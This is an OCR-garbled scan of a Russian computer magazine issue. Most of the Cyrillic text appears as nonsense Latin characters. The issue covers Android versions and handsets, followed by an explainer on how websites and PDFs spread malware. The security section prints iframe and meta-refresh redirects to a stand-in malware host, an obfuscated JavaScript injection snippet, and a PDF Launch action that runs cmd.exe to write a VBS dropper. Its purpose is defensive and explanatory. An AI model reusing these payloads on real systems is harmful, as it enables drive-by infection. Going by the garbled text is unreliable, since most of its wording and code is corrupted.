oOHOBjieHHeM, BBinymeHHLiM dyKBajib- 
ho Mecnu;eM no 3 Hce, CTajia npomHBKa 
2.0/2. 1 Eclair. OHa oGecnemuia no- 

BBimeHHe npOH3BOAHTejn>HOCTH, noA- 
AepHocy MHOxcecTBa pa3JiHHHBix pa3- 
pemeHHH oxpaHa h MHoroe Apyroe. 
npuneM Bepcnn 2.1b ochobhom ycTpa- 
HHjia oihh 6 kh h He^oneTBi. B HacTOH- 
mee BpeMH BapnaHT 2.2 Froyo nocTe- 
neHHO BBIXOAHT B JIH^epBI no KOJIHUe- 
CTBy HHCTaJIJIHLlHH Ha yCTpOHCTBa. 

Ha noAxoAe o6HOBjieHne 2.3 — 
Gingerbread («Hm6hphbih npHHHK»). 
Ha TeKymHH MOMenr npo Hero H3BecT- 
HO TOJIBKO TO, HTO OHO CTaHeT UOJSJlQp- 

vKHBaTB pa3pemeHHe no 1280x760 ronc- 
cejieir. TaKHM o6pa30M, AaHHaa npo- 
mHBKa 6yaeT noaxoauTb ana npHMeHe- 
Hna Ha MomHbix rniamneTax. K MOMeHTy 
Bbixoaa 3Toro HOMepa xypHajia aojdkho 
noaBHTbca nepBoe ycTpOHCTBO c ycra- 
HOBjieHHOH Gingerbread — oamnaeTca, 
hto 3to 6yaeT Nexus 2 ot Google, ws? 


Heoc(3MLiMaabHbie 

npOUJMBKM 

B to Bpewa ksk AO/iro>KAaHHoe 
0 C(DMLlMa/lbH 0 e 06 H 0 B/ieHMe M 0 >KeT 
3 aflep>KMBaTbca, no/ib 30 Baiean 
Android BnpaBe ycTaHOBMTb OAHy 
M 3 co 6 paHHbix afo 6 MTeaaMM npowM- 
bok — npaBAa, MCK/uoiMTe/ibHo Ha 
CBOM dpax M pMCK. TaKMe BepCMM 
CHa 6 >KaK)T KOMMyHMKaTOp HOBbIM 
M HTepc[)eMCOM, K 3 KMMM-TO ((DyHKAMO- 
Ha/lbHblMM 0 C 06 eHH 0 CTaMM M /1 M 
no 3 BOJiaiOT B 3 r/iaHyTb Ha c/ieAyfo- 
lAyio BepcMio Android. TaK, M 3 BecT- 
HblM HeAOCTaTKOM paHHMX pe/lM 30 B 
0 C ot GoogLe aB/iaeTca HeB 03 M 0 >K- 
HOCTb yCT 3 HaB/l M B 3 Tb npM/io>KeHMa 
Ha KapTy naMaTM. Jlio 6 MTe/ibCKaa 
MOAMc(DMKaAMa 2.2 Cyanogen (www. 
cyanogenmod.com) He TO/ibKO 
y/iynmaeT npoM 3 BOAMTe/ibHOCTb, 
ho m ycTpaHaeT stot HeAoneT. 
HeAaBHo GoogLe m pa 3 pa 6 oTHMKM 
AaHHoro pemeHMa aoctmt/im cor/ia- 
WeHMa, B COOTBeTCTBMM C KOTOpbIM 
3 HTy 3 M 3 CTbl MMeiOT npaBO p 33 BM B 3 Tb 

m pacnpocTpaHaTb Cyanogen, ho npM 

3T0M He AO/DKHbl BK/llOHaTb B Hero 
nponpneTapHbie npM/io>KeHMa, TaKMe 
KaK GoogLe Maps m GmaiL. BnponeM, 

3TM CepBMCbl M0>KH0 yCT3H0BMTb 
BpyHHyio noc/ie nepenpowMBKM. 


1.5 Cupcake llpoMAeHHbiM nan 



n epBoe cepbe 3 Hoe 06- 
HOBaeHMe npouiMBKM, 
npeACTaBaeHHoe b Mae 
2009 roAa, noayHMao HOMep 
1.5 m Ha3B3HMe Cupcake 
(«KeKC»). Oho no3BoaMao 
3 anMCblBaTb M B 0 Cnp 0 M 3 B 0 AMTb 
BMAeo, a TaK>Ke npMBHecao 
b Android BMpTyaabHyio K/ia- 
BMaTypy m BMA>KeTbi pa6onero 
cmaa. B Hacmaiuee BpeMa 
ycTpoMCTBa c 3 tom ycTapeBweM 


npoujMBKOM noHTM He npoAaiOT- 
ca. Y Hac eiue mo>kho KynMTb 
MotoroLa BackfLip, ho m 3Ta mo- 
Aeab cKopo Aoa>KHa o6HOBMTbca. 
AnnapaT meei opMrMHa/ibHbm 
ABycTBopnaTbiM am33mh. lloaHO- 
pa3MepHaa KaaBMaTypa pacno- 
ao>KeHa Ha 33AHeM KpbiuiKe m 
noACBeHMBaeTca, KorAa KOMMy- 
HMKaTop pacKpbmaeTca. flaHHoe 
ycTpoMCTBO ctomt nopaAKa 
16 600 py6aeM (3900 rpMBeH). 


Motorola Backflip noKa ei i\e padOTaeT c ycTapeBLaei/i 
Bepcneii npoLLii/iBKi/i, ho BCKope OHa Aoa>KHa odHOBMTbca 
i/i Ana aToro KOMMyHi/iKaTopa 


TEXHI/IHECKME XAPAKTEPMCTMKM 


CTAHflAPTHblE OYHKLJI/m 

Bpay3ep, ocHOBaHHbm Ha WebKit, SQLite, SMS, MMS, Java, 
MeAi/iac|)opMaTbi (MPEG-4, H.264, MP3, AAC, AMR, JPEG, 

PNG, GIF), noAflepma Bluetooth, EDGE, UMTS, WLAN, Kaiviepa, 
GPS, KOMnac, asthmk ABM>KeHMa 

CTAHflAPTHblE nPMJ10>KEHMfl 

SyAM/ibHMK, Ka/ibKy/iaTop, BMAeo- m cf/OTOKaiviepa, KOHTaKTbi, 
ra/iepea, a/ieKTpoHHaa noHTa, hoboctm, My 3 biKa, HacTpoiiKM 

H3MEHEHMH B BEPCMM 

npoMrpbiBaHMe m 3 anMCb BMAeo, Bluetooth (BK/ifonaa npoc})MJib 
A2DP), KonMpoBaHMe m BCTaBKa TeKCTa b 6 pay3epe, OTnpaBKa 
MeAMaKOHTeHTa Ha YouTube m Picasa, nojib 30 BaTe/ibCKMM cno- 
Bapb, 3 KpaHHaa K/iaBMaTypa b jiaHAiuacfDTHOM pe>KMMe 
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HSU? TECTbl M 0E30Pbl Android OS 


1.6 Donut !1poMe>KyT04Han CTaflun 


Sony Ericsson 
Xperia XI 0 
Mini — 3to 

OTJlI/IHHbie 
B03M0>KH0CTI/I 
B MI/IHI/iaTfOp- 
hom Kopnyce 



stom npoujMBKOM pa6o- 
Ta/10 MHOKeCTBO KOMMy- 
HMKaTOpOB, M MHOTMe 
ncno/ib3yK)T ee ao cmx nop. 
B3opBaBwaa pbiHOK MOAe/ib 

HTC Hero 6o/ibiue roAa 6a3M- 
poBa/iacb MMeHHo Ha nev\ f 
noKa HaKOHeu He no/iyHM/ia 
o6HOB/ieHMe ao Bepcn m 2.1. 

« I! O H H M K» nOAAOp>KMBaeT 


6o/ibwoe KO/iMHecTBO pa3pewe- 
hmm 3KpaHa m yMeeT pa6oiaib 
c Mcno/ib30B3HMeM 6e3onacHO- 
ro VPN-coeAMHeHM5i. 

XopoiueM noKynKOM CTaHeT oamh 
M 3 caMbix Ma/ieHbKMx Android- 
KOMMyHMKaiopoB — Sony Erics- 
son Xperia X10 Mini. Ero mo>k- 
ho npMo6pecTM npnMepHO 3a 
9500 py6/ieM (2300 rpMBeH). 



TEXHMHECKME XAPAKTEPI/ICTI/IKI/I 

CTAHflAPTHblE OYHKm/M 

Bpay3ep, ocHOBaHHbm Ha WebKit, SQLite, SMS, MMS, Java, 
MeAi/iacf)opMaTbi (MPEG-4, H.264, MP3, AAC, AMR, JPEG, 

PNG, GIF), Bluetooth, EDGE, UMTS, WLAN, KaMepa, GPS, 
KOMnac, AaTHi/iK flBM>KeHMfl 

CTAHflAPTHblE nPI/IJ10>KEHI/m 

ByAi/iiib hi/ik, Ka/ibKyjiJiTop, Bi/iAeo- m $0T0KaMepa, KOHTaKTbi, 
ranepea, 3JieKTpoHHaa noHTa, hoboctm, My3biKa, HacipoMKi/i 

M3MEHEHI/lfl B BEPCI/II/I 

noi/iCK Ha rnaBHOM 3KpaHe, ObiCTpbm 3anycK xaMepbi, HOBbie 
MHTepcfDeMCbi AJifl $oto- i/i BMfleoKaMepbi, cfDOTora/iepea, pac- 
Lui/ipeHHbm 1 /iHAi/iKaTop 3apfl,qa 6aiapen, VPN, yjiyniueHHbm 
ronocoBOM noi/iCK, npeo6pa30BaHMe TeKda b penb, ynpaB/ieHMe 
>KecTaM i/i , WVGA-pa3pemeHi/ie 


2.0/2.1 Eclair CaMan pacnpocrpaHeHHan 


TEXHMHECKME 

XAPAKTEPMCTMKM 

CTAHflAPTHblE (DYHKUI/M 

Bpay3ep, ocHOBaHHbm Ha WebKit, SQLite, SMS, 
MMS, Java, MeAi/iacfDopiviaTbi (MPEG-4, H.264, 
MP3, AAC, AMR, JPEG, PNG, GIF), noAflep>KKa 
Bluetooth, EDGE, UMTS, WLAN, Kaiviepa, GPS, 
KOMnac, AaTHi/iK ABi/i>KeHi/m 
CTAHflAPTHblE nPI/IJ10)KEHI/lfl 
ByAi/i/ib hi/ik, Ka/ibKy/iATop, Bi/iAeo- m $OTOKaMepa, 
KOHTaKTbi, ranepea, 3/ieKTpoHHafl noHTa, hoboctm, 
My3blKa, HaCTpOMKM 

I43MEHEHI/IB B BEPCI/II/I 

IjMcfDpoBOM 3yM, noflflep>KKa BcnbiLUKM, Microsoft 
Exchange, HTML 5, yjiyHweHHafl BMpTya/ibHaa 
K/iaBMaTypa, Bluetooth 2.1, HOBbm MHTep$eMC 
6pay3epa 



Motorola Milestone HB/iaeTCfl oahmm m 3 JiynwHx c/iaMflepoB c Android OS 


3 Ta BepcMfi npMMenaTeAbHa 

TeM, HTO B HeM nOHBMJlMCb 
noAAep>KKa cMHxpoHM3a- 
\\m c Microsoft Exchange, B03- 
MOWHOCTb pa60TaTb C HeCKO/lb- 


KMMM nOHTOBblMM aKK3yHT3MM 
m yKpameHMe b BMAe «>KMBbix» 
o6oeB. Bo3mo>khoctm Kawepbi 
nonO/lHM/lMCb pyHHOM HaCTpOM- 
kom 6a/iaHca 6e/ioro, amc(dpo- 


BblM 3yMOM, pe>KMMOM MaKpO- 
CbeMKM M nOAAep>KKOM BCnblUJ- 
km. flaHHyio npoiiJMBKy xoporno 
npeACTaBAaeT Motorola Mile- 
stone (15 700 py6./4200 rpH.). 


AnnapaT 06 /iaAaeT 6 o/ibWMM 
3,7-AIOMMOBblM 3KpaHOM C pa3- 
pemeHMeM 480x854 nMKce/ieM, 
CABM>KHOM K/iaBMaTypoPi M He- 
CKO/ibKO c/ia 6 biM npoueccopoM, 
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2.2 Froyo Flpoii 3 BOfliiTe/ibHaji m nporpeccuBHaa 


0 6HOB^eHne ao Bep- 
cMM 2.2 Froyo («3a- 
MOpO>KeHHblM MO- 
rypT») o6ecneHMBaeT p^A 
HOBbIX B03M0>KH0CTeM. 

Bo-nepBbix, Froyo xapaK- 
Tepn3yeTC5i onepeAHbm 
noBbiiueHneM npoM3BOAM- 
Te/ibHOCTM, newy cnoco6- 
CTByeT 6o/iee 6bicipbm 
6pay3ep c hobum Mexa- 
HM3MOM o6pa60TKM 
JavaScript — V 8. K TOMy 
>Ke Froyo noAAep>KMBaeT 
Flash 10.1. Bee 3 to no3- 
BOJlfleT CHMTaTb KOMMyHM- 
KaTopbi c npoiun BKOM 2.2 
jiyniunMM a J ifl cepc[DMHra 
b CeTM. TaK>Ke b 3tom Bep- 


CMM A06aBM^aCb B03M0>K- 
HOdb npeBpaTMTb Te/ie- 
c(doh b USB-MOAeM m/im 
pa3AaBaib TpacjDMK no 
6ecnpoBOAHOMy coeAMHe- 
hmk). OAHa M3 HaM6o/iee 
o>KMAaeMbix no/ib30Baie- 
jiflMM cjDyHKUMM — ycra- 
HOBKa npM/10>KeHMM Ha 
Kapiy naM5iTM — BnepBbie 
nOflBMJiaCb MMeHHO B AaH- 
hom BapMaHTe Android. 
BnponeM, caKOHOMMTb 3a 
cneT 3Toro CMCTeMHyfo 
naMflTb KOMMyHMKaiopa 
MOWHO, TO/lbKO eC/lM pa3- 
pa6oTHMKM nporpaMMHoro 
o6ecneHeHM5i npeAycMOT- 
pe/iM TaKOM BapMaHT. 


Samsung Galaxy S noMMMO 
cawoM noc^eAHeu BepcMM 
0C 06 /iaAaeT ouiMHHbiM 
3 KpaHOM Super AMOLED. 
3 ia TexHO/iorMfl o 6 ecneHM- 
BaeT oneHb coHHbie ABeia 
M XOpOUJMM KOHTpaCT. U\)V\ 
HeCKO/lbKO MeHbWeM, new 
y Milestone, pa 3 peiueHMM 
( 800 x 480 ToneK) annapaT 
ot Samsung 06 /iaAaeT 
OrpOMHbIM 4 , 5 -AfOMMOBblM 
3 Kp 3 H 0 M, Ha KOTOpOM MO>K- 
ho c komc()optom npocMa- 
TpMBaTb FID-BMAeo. CpeA- 
Hflfl p 03 HMHHa 51 CTOMMOCTb 
KOMMyHMKaTOpa COCTaBJlfl- 

eT oko/io 20 400 py6/ieM 
(5900 rpMBeH). 


TEXHI/IHECKI/IE XAPAKTEPI/ICTMKM 

CTAHflAPTHblE (DYHKUMM 

Bpay3ep, ocHOBaHHbm Ha WebKit, SQLite, SMS, MMS, Java, MeAi/iacfDopiviaTbi (MPEG-4, 
FI. 264, MP3, AAC, AMR, JPEG, PNG, GIF), noAflep>KKa Bluetooth, EDGE, UMTS, WLAN, 
KaMepa, GPS, Koivmac, asthhk ABi/i>KeHi/ifl 

CTAHflAPTHblE nPI/IJ10)KEHI/m 

ByAi/uib hi/ik, KanbKyn^Top, bi/iago- m cjDOTOKaiviepa, KOHTaKTbi, ranepe^, a/ieKTpoHHaa 
noHTa, HOBOCTI/I, My 3 blKa, HaCTpOMKI/l 

M3MEHEHI/IA B BEPC M 

rioAflepma Adobe Flash 10.1, yBejii/neHi/ie ckopoctm paboTbi, i/iHHOBaui/n/i b ynpaB/ieHi/m, 
y/iyHLueHHbiM ro/iocoBOM noi/iCK, obHOB/ieHi/ie 6pay3epa, HOBaa ci/icieMa obHOB/ieHi/m npi/i- 
/io>KeHi/iM, ydaHOBKa no Ha Kapiy naiviflTi/i, HOBoe nporpaMMHoe obecneneHi/ie KaMepbi, 
WLAN-Teiepi/mr (npeAOCTaB/ieHMe Aociyna b 1/lHTepHei APyn/iM ycipoMCTBaM) 



Samsung Galaxy S Oaho m 3 caMbix npoABi/my- 
Tbix ycTpoMCTB npodo o6a3aHO ocHaiAaibca 
HOBetiiueM Bepci/iew OC 


OparMeHTMpoBaHHocTb He noMexa 


Co CTOpOHbl KOHKypeHTOB 3ByHaT COMHe- 
hma b 6yAyiueM Android OS. no c/iOBaM 
HeKOTopbix 3KcnepTOB, pa3Hoo6pa3Me 
BepCMM CMCTeMbl M 6o/lbWOe KO/lMHeCTBO 
ydpoMCTB c pa3HOM annapaTHOM «h3hmh- 
kom» npeBpaiuaiOT HanMcaHMe npMjio>KeHMM 
b KOWMap pa3pa6oTHMKOB. Co3Aaie^M 
nporpaMMbi TweetDeck, o6-beAMHafoiAeM 


B OAHOM 060/lOHKe HeCKO/lbKO co- 
AMa^bHbix cepBMCOB, co6pa/iM craTMC- 
TMKy ee yciaHOBKM Ha «rymoc|)OHbi». 
BbmcHM/iocb, hto yTM/iMTa ycneiiJHO 
cjjyHKUMOHMpyeT npMMepHO Ha 
250 MOAe/mx KOMMyHMKaiopoB, m 
6oabiaaa nacTb M3 hmx pa6oiaei 
noA ynpaBaeHMeM Froyo. 


S3 

Sign in to TwEE-tDedt 

JLm 

Add Twitter 

o 

/ f 

Add Facebook 

o 

n 

Add BU2Z 

© 

• ■_ 

Add Foursquare 

© 


Done 




E .i m jpjgppy to anno, u wo th.it 
Ijlrj the fclMse dace ot Android 
* ** TweetEtetk is now officially; 


Check oul this cute dog coat 
, just bought fo r my dOjfF 

■ i 4a ml 

Fied scldacn j 


The excitement !evcJ in 
insane. 


Bcero ABa HenoBexa 3aHmviaK)Tca 
pa 3 pa 60 TK 0 M npnno>KeHMfl TweetDeck 
AJiB 250 ydpoMCTB 


^ PACnPOCTPAHEHME ^ 

CiaTMCTHKa AOCTyna k Android 
Market fleMOHCTpupyeT, hto 
Hanbo/ibiuee hucjio ycTpowcTB Ha 
6a3e Android OS ocHameHbi caMbi- 
MM COBpeMeHHbIMH npOLLH/IBKaMM. 



\ / 
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l/ICTOHHI/IK: HTTP ://DEVELOPER.ANDROID. COM (flO flAHHbIM HA 1 HOREPR 2010 TOflA) 





n:n^ TECTbl M 0E30Pbl XaKepcKMe aiaKi/i 



BpeflOHOCHoe no npeflCTaBJiaeT nocTOHHHyio yrpo3y fljia KOMnbiOTepoB. Ho KaK 
oho npoHi/iKaeT b CMCTeiviy? CHIP paccKa>KeT o Han6ojiee pacnpocipaHeHHbix nym 
3apa>KeHMfl coBpeMeHHbiMi/i BMpycaivw. 


n OHTH Aea MHjijiHapAa nejio- 

BeK HBJI5HOTCH n0JIB30BaTeJIH- 

mh HHTepHeTa. 3 to 3HanHT, 
hto cymecTByeT ABa mhjuih- 
apAa noTeHUHajTbHbix acepra 
BpeAOHOCHoro ITO, 3a hbhmh u;eH- 
HblMH AaHHBIMH — napOJIHMH, PIN- 
KOAaMH H HOMepaMH KpeAHTHBIX 
KapT — oxotbtch xaKepti. Ilpome Bce- 
ro yKpacTB 3 th cbcachhh c iiomoiabk) 
3apaxeHHBix Beb-caiiTOB hjih cjiaHJiOB, 
b nepByio onepeAb PDF-AOKyMeHTOB. 
KpOMe Toro, xax yTBepJKAaiOT cneiina- 
JIHCTBI B o6jiaCTH HH(|)OpMau;HOHHOH 
6e3onacHOCTH, MHorae chjibho hcao- 
OAeHHBaiOT TaKOH hctohhhk onacHO- 
cth, xax USB-HaKonHTejiH. 

Mbi o6bhchhm, KaK nponcxoAHT 3a- 
paxeHHe othmh TpeMH cnocobaMH, 
h noKaxeM, KaK MaKCHMajibHO o6e- 
^0m 3onacHTB cboh kom- 

nbHDTep ot iioao6- 
hbix yrp03. 



C BHBapii no hoh6pb 2010 roAa Kpyn- 
hbih npOH3BOAHTejiB aHTHBHpycoB «JIa- 
GopaTOpnn KacnepCKoro» 3a(J)HKCH- 
pOBajia yBejinneHne nncjia nonbiTOK 
3apaxeHHn 6ojiee neM Ha 38%. Eojib- 

niHHCTBO H3 HHX GbIJIO BBinOJIHeHO, 
KaK n npe^Ae, co B3JiOMaHHBix Be6- 
CaHTOB. Toro HT06bI H36e>KaTb HH- 
(^HiinpOBaHHH, yxe Mano npocTO He 
nocemaib noA03pHTejibHbie pecypcbi, 
a TaioKe CTpaHHijbi c He3aKOHHbiM koh- 
TeHTOM. 99% onacHbix canroB — 3to 
cepbe3HBie nopTajibi, KOTOpBie 6bi- 
jih B3JiOMaHbi xaxepaMH h 3apaaceHbi. 
IloAo6HbiM o6pa30M nocTpaAaji Aaxe 
pecypc OAHoro H3 npOH3BOAHTejieii 
aHTHBHpycHoro ITO. Camh BpeAOHOC- 
Hbie npHJioaceHHH npn 3tom 3arpy>xa- 
iotch co CTOpOHHero caiiTa. no AaH- 
hhm «JIa6opaTOpHH KacnepCKoro», Ha 
CerOAHHHIHHH ACHb B CLQA, PoCCHH H 
Karrae AencTByiOT npHMepHO 135 mjih 
TaKHX Be6-CTpaHHA. 


JlHAepOM no KOJinnecTBy yn3BHMO- 
CTCH, KOTOpbIMH nOJTb3yK)TCH BpeAO- 
HOCHbie nporpaMMbi, HBjuieTCii Adobe 
Reader. AHajiHTHKH KOMnaHHH Secunia 
tojibko 3a nepHOA c hiohh 2009 no 
hkdh b 2010 roAa 3apemcTpHpOBajiH 
69 6pemen b 6e3onacHOCTH AaHHoro 
naxeTa. OAHaKO Adobe CTpeMHTcn CAe- 
jiaTb cboh npoAyKT HaAexHee: b ero 
AecHTon BepCHH Ka>KAbiH koa CHanajia 
HcnojiHHeTcn b «necoHHHiie» c itejibio 
MaKCHMajibHoro orpaHHneHHH AOCTy- 
na k cncTeMe. 

USB-ycTpoiiCTBa, HanpOTHB, otho- 
CHTCH K MaJIOH3BeCTHbIM nepeHocnn- 
KaM BHpycoB. Ho c hx noMombio xaxe- 
pbi Moryr u;ejieHanpaBjieHHO aTaKOBaTb 
KOHKpeTHoro nejiOBeKa hjih npeAnpn- 
nrae, 3acbuiaii cneAnajibHbie tpohhbi. 
B 3tom cjiynae BpeAOHOCHoe no hc- 
nojn>3yeT npe>KAe Bcero (jiyHKHHio aBTO- 
3anycKa Windows, KOTOpan oObhiho 
no yMOJinaHHio BKjnoneHa. am? 


«Macurra6iiafl pac- 
cbmKa BpeAOHOCHoro 
110 ocyiAecTBjineTCfl 
nepe3 3apa>KeHHbie 
caMTbi m PDF-c|janjibi» 

Pa/ibcp EeHUMH) juiep, / IMB1 
pyKOBOflmenb G Data SecurityLabs 


# 

mtemetSecurity 

2011 



o)CHIP DVD 

yinjima /yin 3ami/iTbi ot 
BH pycoB, Be6-0miJMHra 
i/i xaKepcKi/ix aiaK ot kom- 
naHi/ii/i G Data pa3MemeHa 
Ha HameM flu CKe b pa3flene 
«BoHyc». G Data Internet- 
Security 201 1 — 3T0 KOMn- 
neKCHbin aHTi/mnpycHbrn 
naKeT c nonHoc|3yHKpno- 
HanbHbiM npoOHbiM 
nepnoflOM b 90 flHen. 


I 


CHIP I OEBPAJlb 2011 


Q0T0: K0MnAHI/ll/l-nP0l/l3B0fll/ITEJll/l 
I/IJ1J1KDCTPA14I/II/I: VERONIKA ZANGL 



IlmepHeT: xpawa jqaHHbix nepe 3 sapaweHHbie ca ubi 

Co/iMflHbie nopiajibi npeflocTaBJiniOT xaKepaM Han6o/iee yflofiHbm cnoco6 pacnpocTpaHemifl BpeflOHOCHoro no. 

B npoiujiOM >KepTBaMM Taiwx aiax cianw CTpaHMqbi KOMnaw/iM Lenovo, TomTom v\ MW-iMCTepcTBa 0MHaHCOB CLUA. 


n0J1b30BATEJ1b 

KOMnblOTEPA 



BPEflOHOCHAfl 

CTPAHMI4A 


3apameHHe: xaxepbi bhocht 
M3MeHeHMfl b Befi-cauTbi 

3/lOyMblLUJieHHMKM 3aCblJiatOT CBOM KOfl Ha ce- 
pbe3Hbie cawTbi TpeMfl cnoco6aivii/i, no3BO/iflio- 
mi/iMi/i cB^3aTb ero c Bpe/joHocHon CTpaHnuen. 

nepeaflpecauMfl. CaMbm npocTon MeTOfl — 
HTML-koa nepeHanpaB/iaeT noceTMTena Ha 
onacHbm ctopohhmm pecypc. Kofl ivioweT Bbi- 
r/iBfleTb cjieflytou^MM o6pa30M: 


<meta http-equiv=“refresh“ content=“0; 
url=http://www.malware.com“> 


iFrame. HeBi/ifli/iMbm nnaBaiomnn cjDpeMM, 
flewcTBytoiMHM KaK CTpaHi/ipa Ha canTe, 3 arpy- 
>KaeT BpeflOHOCHoe no. 3 /ieMeHT njiaBatome- 
ro cjDpeMMa HanpaBJiaeT nojib 30 BaTe/ifl npaMO 
Ha pecypc, 3 apa>KaK)Lnnn flK BnpycoM: 


<iframe src=“http://www.malware.com“> 
</iframe> 


JavaScript. Bo/iee TpyfloeMKnn MeTOfl — 
BHeflpeHwe Ko/ja JavaScript Ha B3/iOMaHHbiM 
cawT — b nocneflHee BpeMa ncno/ib3yeTca 
BMecTe c ActionScript (Flash). TaKon koa 
nacTo 6bmaeT 3aMacKi/ipoBaH, noaTOMy 
aHTi/iBi/ipycy cjio>kho o6Hapy>Ki/iTb ccbmKy 
Ha onacHyio CTpaHi/ipy: 


<script> 

function C268fb268di49ff54f25b4a1 (i49ff54f 
25b87a){ff54fr4f+‘3637‘+rF7‘+r4f+‘3637‘+r4f 
+‘2697‘+r4f+‘07‘+r4f+‘43E‘;document.write(i 
49ff54f25c40e(i49ff54f25df4f));</script> 
UeneBoii AOMeH: http://antivirus.vc/7174c 


nojiHan aBTOMaTMKa: 

Ha6op 3 KcnjionTOB aiaxyeT KOMnbKiTep 

BMecTO ncnonb30BaHMB OTfle^bHbix BwpycoB nepefl aTaxoPi xaxepbi cocTaB- 
jibkdt Ha cbomx BpeflOHOCHbix caiiTax Habopbi 3Kcnnoi/iTOB. TaKHe naxeTbi 
aBTOMaTMnecKH npoBepniOT KOMnbiOTep no;ib30BaTe;ifl Ha Ha/inni/ie yn3BHMO- 
CTeii, KOTopbix flocTaTOHHO, HanpwMep, b 6pay3epe m/im n/iamHax. noc/iefl- 
hbb BepcHB (1.3.2) Ha6opa Eleonore (cm. ckphhujot cnpaBa) ctomt okojio 
$1000 h y>xe 3apa3M/ia 1,2 mjih nK no BceMy MHpy. 





KaK 3atMMTMTb 


ce6« b Cem 



FlaKeT nporpaMM KOMruiexcHOM 3amnTbi 

TaKMe npoflyKTbi, KaK G Data Internet Security 
2011 (ecTb Ha HaweM DVD), He no 3 Bo/iflK)T 
BpeflOHOCHOMy no nonacTb Ha KOMnbfOTep. 
Flo npw 3tom He ctomt 3 a 6 biBaTb m 0 pery- 
TinpHOM oOHOB/ieHMM 6 pay 3 epa m Windows. 


CCblJlKM 

HTodbi bo Bpeivm MHTepHeT-cepcjDMHra 
odxoflMTb CTopoHOM onacHbie caMTbi, ycTa- 
HOBMTe yTMTIMTy fl/lfl npOBepKM CCbl/lOK, 
HanpMMep WOT. KpoMe Toro, HMKor/ta He 
OTKoionaMTe cjTMLUMHr-cjDM/ibTpbi 6pay3epa. 


JavaScript 

flono/iHeHMn k 6 pay 3 epy AdBlock m NoScript 
3 aL 14 MTaT Bac OT BpeflOHOCHbIX CKpMnTOB. 
fl/lfl nO/lHOM yBepeHHOCTM Bbl T 3 K)Ke MO>KeTe 
no/iHOCTbfo oTKJiioHMTb noflflep>KKy JavaScript 
b HacTpoMKax 6 pay 3 epa. 
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n:n^ TECTbl M 0E30Pbl XaKepcKMe aiaKi/i 


PDF: XMTpoyMHbie Bupycbi oGxoaat 3amnTy 

AHTMBMpycbi pacno 3 HaiOT KOflbi fio/ibiuMHCTBa BpeflOHOCHbix nporpaMM. rioaTOMy xaxepbi fle/im nx Ha sac™ 
m pacnpeflejiaiOT cppanvieHTbi no PDF-flOKyMeHTy, nacTO b 33 K 0 flnp 0 BaHH 0 M Bnfle. 


KOMnblOTEP 

n0Jlb30BATEJlH 


® 3apa)KeHne: BpeflOHOCHoe 
no 3axBaTbiBaeT KOMnbWTep 

C noMOLUbio i/i3MeHeHHbix PDF-cjDaMJiOB Ha I1K 
nonaaaioT caMbie pa3Hoo6pa3Hbie onacHbie 
nporpaMMbi. Cpefli/i hmx JiMflupytOT TpoRHbi, 
HanpHMep ZeuS (i/i3BecTHbm TaK>Ke Kax 
Zbot 1/1 Kneber). 


34,4% 



©! 


I MacKMpoBKa: koh, 
pa36pocaHHbiM no PDF 

PDF-flOKyMeHTbi coctort m3 tqkmx 3/ieivieHTOB, 
Kax TexcT, Lupnc|DT, KoppeKTypHbie 3HaKl/l, c|30p- 
Mbi i/i MeTKi/i nepexofla. Ha 100 CTpaHi/ipax mo>k- 
ho o6Hapy>KMTb flo 10 000 obteKTOB. Xaxepbi 
ncnojib3yiOT c/ieflyioiMyK) xMTpocTb: ohm pa3bM- 
BaiOT m pacnpeAenaiOT BpeAOHOCHbm koa no 
HecKO/ibKMM obteKTaivi, noc/ie Hero aHTMBMpycy 
oneHb cjiokho ero obHapy>KMTb. 


Koa, coflep>Ka- 
LI 4 MMC 51 B naMflTI/l 
3arpy>KaeT Bpe- 

AOHOCHoe no 


H* /Type /Action IS /Launch /Win « /F (cmd. 


exe) / 


3,4% 

10 % ^1 
14,9% 

■ TpoflH ■ Bupyc 

■ HepBb ■ BaKflop 

■ PeK/iaM- ■ Apyrne (nporpaMMbi 

Hoe no yAaneHHoro AOCTyna, 

Aponnep) 



Mi 


i 1 iVi I 


l 

OnEPATMBHAR 




pfc 

h- 


f=fso.OpenTextFile(„doc.pdf“, 1, True) » 
script.vbs && echo s=lnStr(pf,“‘SS“) » 


batscript.vbs Click the „open“ button to 
view this document:) 


nAMBTb nK 
n0Jlb30BATEJlR 


PDF- 
flOKYMEHT 




©T) CoennHeHMe: Reader 
©© 3 arpy>KaeT PDF m 
codnpaeT koa 



BbinonHeHMe: Bpeao- 
HOCHblM KOfl «B 3 pblBaeT» 
ofinacTb naMATii 


3anyiAeHHoe tqkmm obpa30M 3/ioBpeAHoe (10 3anon- 
HneT obnacTb naivmTM nporpaMMbi aar npocMOTpa 
PDF beccMbicneHHbiM koaom, TeM caMbiM obecne- 
HMBan cebe B03M0>KH0CTb nonacTb b c/ieAyioiAyio 
ob/iacTb m Bbino/iHMTbCR onyAa. HacTO sto bbmaeT 
Aponnep, 3arpy>xaiOLAMM Bupycbi M3 CeTM. 


^ Reader 
3 j Bbino^H^eT 
)jg CKpi/inT 


ADOBE 

READER 


3arpy>KaeTCfl 
PDF-cJaaM/i 




KorAa Reader OTKpbiBaeT PDF-cJoaM/i, oh co- 
eAMHaeT pa3fiMHHbie obteKTbi m 0T0bpa>KaeT 
coAep>KaHMe b cootb6tctbmm c mx napaMei- 
paMM. npM 3tom nporpaMMa BbinoAHReT m 
HaxoAFiLAMecR b obteKTax cKpMmbi, HanpM- 
Mep JavaScript mjim Visual Basic, xax b cnynae 
c PDF-3KcnnoMTOM Pidief (cm. HM>xe). ilepBaR 
>xe KOMaHAa npMAOweHMR cobMpaeT cJoparMeH- 
Tbl KOAa M3 pa3Jl MH H bIX ObbeKTOB M npMBOAMT 
ero B ASMCTBMe, HTO MO>KeT Bbl3BaTb, B HaCT- 
hoctm, nepeno/iHeHMe bycpepa. 



57 % 

aiax BpeAOHOCHoro no M3 

CeTM MCnOJlb3yiOT yR3BMMOCTM 

b nporpaMMax ajir HTeHMR PDF 



obj 8 0 Type: /Action Referencing: « / 
Type /Action /S /Launch /Win « /F 
(cmd. exe) /P (/ c echo Set 
fso=CreateObject(„Scripting.FileSystem- 
Object") > script.vbs && echo Set 
f=fso.OpenTextFile(„doc.pdf“, 1, True) » 
script.vbs && echo pf=f.ReadAII » 
script.vbs && echo s=lnStr(pf,“‘SS“) » 
script.vbs && echo e=lnStr(pf,“‘EE“) » 
script.vbs && echo s=Mid(pf,s,e-s) » 



Kax 3aii4 MTi/iTb ce6a ot 3apa>KeHHbix PDF - c[)aMjiOB 



CKpunTbi 

B Adobe Reader b MeHio «PeAaKTMpoBaHMe I 
